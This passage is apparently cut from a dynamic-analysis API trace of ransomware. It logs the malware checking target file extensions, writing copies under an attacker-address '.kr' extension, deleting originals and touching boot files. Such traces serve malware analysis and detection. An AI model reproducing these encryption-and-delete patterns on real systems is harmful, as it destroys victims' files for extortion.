lpOverlapped=0x0) returned 1 [0217.002] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5130, lpOverlapped=0x0) returned 1 [0217.003] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.003] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0217.004] SetEndOfFile (hFile=0x4b4) returned 1 [0217.004] CloseHandle (hObject=0x4b4) returned 1 [0217.004] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.004] SetEndOfFile (hFile=0x378) returned 1 [0217.011] CloseHandle (hObject=0x378) returned 1 [0217.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms")) returned 1 [0217.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.012] lstrlenW (lpString=".doc") returned 4 [0217.012] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.012] lstrlenW (lpString=".docx") returned 5 [0217.012] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.012] lstrlenW (lpString=".pdf") returned 4 [0217.012] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.012] lstrlenW (lpString=".xls") returned 4 [0217.012] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.012] lstrlenW (lpString=".xlsx") returned 5 [0217.012] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.012] lstrlenW (lpString=".ppt") returned 4 [0217.012] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.012] lstrlenW (lpString=".zip") returned 4 [0217.012] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.012] lstrlenW (lpString=".rar") returned 4 [0217.012] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.012] lstrlenW (lpString=".bz2") returned 4 [0217.013] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString=".7z") returned 3 [0217.013] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.013] lstrlenW (lpString=".dbf") returned 4 [0217.013] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.013] lstrlenW (lpString=".1cd") returned 4 [0217.013] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.013] lstrlenW (lpString=".jpg") returned 4 [0217.013] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.013] lstrlenW (lpString=".doc") returned 4 [0217.013] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString=".docx") returned 5 [0217.013] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.013] lstrlenW (lpString=".pdf") returned 4 [0217.013] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString=".xls") returned 4 [0217.013] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString=".xlsx") returned 5 [0217.013] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.013] lstrlenW (lpString=".ppt") returned 4 [0217.013] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.013] lstrlenW (lpString=".zip") returned 4 [0217.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString=".rar") returned 4 [0217.013] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.013] lstrlenW (lpString=".bz2") returned 4 [0217.014] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.014] lstrlenW (lpString=".7z") returned 3 [0217.014] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.014] lstrlenW (lpString=".dbf") returned 4 [0217.014] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.014] lstrlenW (lpString=".1cd") returned 4 [0217.014] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms") returned 79 [0217.014] lstrlenW (lpString=".jpg") returned 4 [0217.014] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.014] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.014] lstrlenW (lpString="ProjectStdR_Retail-ul-oob.xrm-ms") returned 32 [0217.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.015] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11596) returned 1 [0217.015] CloseHandle (hObject=0x378) returned 1 [0217.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms")) returned 0x220 [0217.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.016] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.016] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0217.017] GetLastError () returned 0x0 [0217.017] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0217.019] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0217.020] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.020] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x114, lpOverlapped=0x0) returned 1 [0217.020] SetEndOfFile (hFile=0x4b4) returned 1 [0217.021] CloseHandle (hObject=0x4b4) returned 1 [0217.021] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.021] SetEndOfFile (hFile=0x378) returned 1 [0217.242] CloseHandle (hObject=0x378) returned 1 [0217.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms")) returned 1 [0217.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.802] lstrlenW (lpString=".doc") returned 4 [0217.802] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString=".docx") returned 5 [0217.802] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.802] lstrlenW (lpString=".pdf") returned 4 [0217.802] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString=".xls") returned 4 [0217.802] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString=".xlsx") returned 5 [0217.802] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.802] lstrlenW (lpString=".ppt") returned 4 [0217.802] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.802] lstrlenW (lpString=".zip") returned 4 [0217.802] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString=".rar") returned 4 [0217.802] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString=".bz2") returned 4 [0217.802] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.802] lstrlenW (lpString=".7z") returned 3 [0217.802] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.802] lstrlenW (lpString=".dbf") returned 4 [0217.802] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.803] lstrlenW (lpString=".1cd") returned 4 [0217.803] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.803] lstrlenW (lpString=".jpg") returned 4 [0217.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.803] lstrlenW (lpString=".doc") returned 4 [0217.803] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString=".docx") returned 5 [0217.803] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.803] lstrlenW (lpString=".pdf") returned 4 [0217.803] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString=".xls") returned 4 [0217.803] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString=".xlsx") returned 5 [0217.803] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.803] lstrlenW (lpString=".ppt") returned 4 [0217.803] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.803] lstrlenW (lpString=".zip") returned 4 [0217.803] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString=".rar") returned 4 [0217.803] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString=".bz2") returned 4 [0217.803] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.803] lstrlenW (lpString=".7z") returned 3 [0217.803] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.803] lstrlenW (lpString=".dbf") returned 4 [0217.803] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.804] lstrlenW (lpString=".1cd") returned 4 [0217.804] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms") returned 82 [0217.804] lstrlenW (lpString=".jpg") returned 4 [0217.804] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.804] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.804] lstrlenW (lpString="ProjectStdVL_MAK-ppd.xrm-ms") returned 27 [0217.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0217.929] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6733) returned 1 [0217.929] CloseHandle (hObject=0x4bc) returned 1 [0217.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms")) Thread: id = 42 os_tid = 0xe38 [0174.599] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x500380 [0174.600] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3c50048 [0174.600] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a480 [0174.601] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcc38 [0174.601] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a558 [0174.601] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3d55020 [0174.603] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a648 [0174.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a648, Size=0x20) returned 0x45dd58 [0174.603] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a588 [0174.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a588, Size=0x20) returned 0x45dbf0 [0174.603] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.603] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.604] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff50 | out: OldValue=0x313ff50*=0x0) returned 1 [0174.604] lstrlenW (lpString="kernel32.dll") returned 12 [0174.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd58 | out: hHeap=0x420000) returned 1 [0174.604] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dbf0 | out: hHeap=0x420000) returned 1 [0174.604] Sleep (dwMilliseconds=0x64) [0174.880] Sleep (dwMilliseconds=0x64) [0175.112] Sleep (dwMilliseconds=0x64) [0175.390] lstrlenW (lpString="BCD") returned 3 [0175.390] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.390] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.390] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.390] lstrlenW (lpString=".doc") returned 4 [0175.390] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0175.390] lstrlenW (lpString=".docx") returned 5 [0175.391] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0175.391] lstrlenW (lpString=".pdf") returned 4 [0175.391] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString=".xls") returned 4 [0175.391] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString=".xlsx") returned 5 [0175.391] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0175.391] lstrlenW (lpString=".ppt") returned 4 [0175.391] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.391] lstrlenW (lpString=".zip") returned 4 [0175.391] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString=".rar") returned 4 [0175.391] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString=".bz2") returned 4 [0175.391] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString=".7z") returned 3 [0175.391] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0175.391] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.391] lstrlenW (lpString=".dbf") returned 4 [0175.391] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.391] lstrlenW (lpString=".1cd") returned 4 [0175.391] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.391] lstrlenW (lpString=".jpg") returned 4 [0175.391] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.391] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.391] lstrlenW (lpString=".doc") returned 4 [0175.391] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0175.391] lstrlenW (lpString=".docx") returned 5 [0175.391] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0175.391] lstrlenW (lpString=".pdf") returned 4 [0175.392] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString=".xls") returned 4 [0175.392] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString=".xlsx") returned 5 [0175.392] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0175.392] lstrlenW (lpString=".ppt") returned 4 [0175.392] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.392] lstrlenW (lpString=".zip") returned 4 [0175.392] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString=".rar") returned 4 [0175.392] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString=".bz2") returned 4 [0175.392] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString=".7z") returned 3 [0175.392] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0175.392] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.392] lstrlenW (lpString=".dbf") returned 4 [0175.392] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.392] lstrlenW (lpString=".1cd") returned 4 [0175.392] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0175.392] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0175.392] lstrlenW (lpString=".jpg") returned 4 [0175.392] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0175.392] lstrcmpiW (lpString1=".LOG1", lpString2=".kr") returned 1 [0175.392] lstrlenW (lpString="BCD.LOG1") returned 8 [0175.392] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0175.393] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=0) returned 1 [0175.393] CloseHandle (hObject=0x374) returned 1 [0175.393] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.393] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString=".doc") returned 4 [0175.394] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString=".docx") returned 5 [0175.394] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0175.394] lstrlenW (lpString=".pdf") returned 4 [0175.394] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString=".xls") returned 4 [0175.394] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString=".xlsx") returned 5 [0175.394] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0175.394] lstrlenW (lpString=".ppt") returned 4 [0175.394] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString=".zip") returned 4 [0175.394] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString=".rar") returned 4 [0175.394] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString=".bz2") returned 4 [0175.394] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString=".7z") returned 3 [0175.394] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0175.394] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString=".dbf") returned 4 [0175.394] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString=".1cd") returned 4 [0175.394] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString=".jpg") returned 4 [0175.394] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0175.394] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.394] lstrlenW (lpString=".doc") returned 4 [0175.395] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString=".docx") returned 5 [0175.395] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0175.395] lstrlenW (lpString=".pdf") returned 4 [0175.395] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString=".xls") returned 4 [0175.395] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString=".xlsx") returned 5 [0175.395] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0175.395] lstrlenW (lpString=".ppt") returned 4 [0175.395] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.395] lstrlenW (lpString=".zip") returned 4 [0175.395] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString=".rar") returned 4 [0175.395] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString=".bz2") returned 4 [0175.395] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString=".7z") returned 3 [0175.395] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0175.395] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.395] lstrlenW (lpString=".dbf") returned 4 [0175.395] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.395] lstrlenW (lpString=".1cd") returned 4 [0175.395] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0175.395] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0175.395] lstrlenW (lpString=".jpg") returned 